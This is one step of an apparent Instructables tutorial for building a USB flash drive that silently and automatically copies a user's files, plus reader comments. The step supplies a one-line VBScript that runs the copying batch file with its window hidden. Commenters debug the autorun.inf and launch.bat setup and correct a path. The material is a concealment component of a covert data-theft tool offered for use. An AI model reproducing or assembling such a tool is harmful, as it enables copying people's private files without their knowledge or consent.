3 Simple Ways to
Share What You Make

With Instructables you can share what you make with the world — and tap into an ever-growing community of creative experts.

PhotosPhotos

Share one or more photos of a project, recipe, or whatever you've made, quickly and easily.

Step by StepStep-By-Step

Share your step-by-step photos with text instructions of what you made so others can do it too!

VideoVideo

Share your how-to video. You'll need your embed code from a video site such as YouTube.

How to make flash drive that copy's users files silently and automatically

Step 4Make vb script to run batch file as invisible

Make vb script to run batch file as invisible
This code is very simple it runs the file.bat as a process so it does not show the cmd prompt and everything the batch file is processing
Code it with word and save as invisible.vbs
All files once again.

______________________________________________________________


CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False

______________________________________________________________

« Previous StepDownload PDFView All StepsNext Step »
6 comments
Apr 12, 2012. 2:30 PMjbouffard says:
any way to make to see it when i press (for example) the "c" key?
thanks in advance
Jun 20, 2010. 7:37 PM3xpl0dingR4pt0r says:
do u save this to the flashdrive??
Apr 5, 2009. 8:30 AMalondra452 says:
I've tried this a couple of times now. Every time I put in the drive, it won't start automatically. I went in the folder and tried to individually start every one of them. The "file.bat" worked. When I double-clicked it, it copied all of the files. So I know that it can work, just not automatically. I checked the "autorun.inf". It looked exactly like how you typed your code for it. Then I checked the "launch.bat". It said that it couldn't find any "invisible.vbs". So then I went to that one next. When I double-clicked it, it popped up with some error saying "Script: I:\All\invisible.vbs Line: 1 Char: 1 Error: Subscript out of range Code: 800A0009 Source: Microsoft VBScript runtime error" Can you please help me?
Apr 8, 2009. 6:01 PMmusicninja17 says:
I GOT IT :D to make it find your invisible.vbs file change this: wscript.exe \invisible.vbs file.bat to this: wscript.exe \all\invisible.vbs file.bat adding all\ tells it to look in that folder....hope it works for you :D
Apr 8, 2009. 5:43 PMmusicninja17 says:
i got the same error....i re-did it....appaently im doing something wrong.....
Apr 8, 2009. 5:57 PMmusicninja17 says:
okay i got it..... you cant click on the invisible vbs file to start it.....
Mar 30, 2009. 1:06 PMMairseyDotes says:
And people wonder why I have all scripts disabled in my Windows machines.

Pro

Get More Out of Instructables

Already have an Account?

close

All Steps Viewing
View all steps of an Instructable on the same page when you're a Pro Member.

Upgrade to Pro today!
22
Followers
1
Author:bigdaddyclint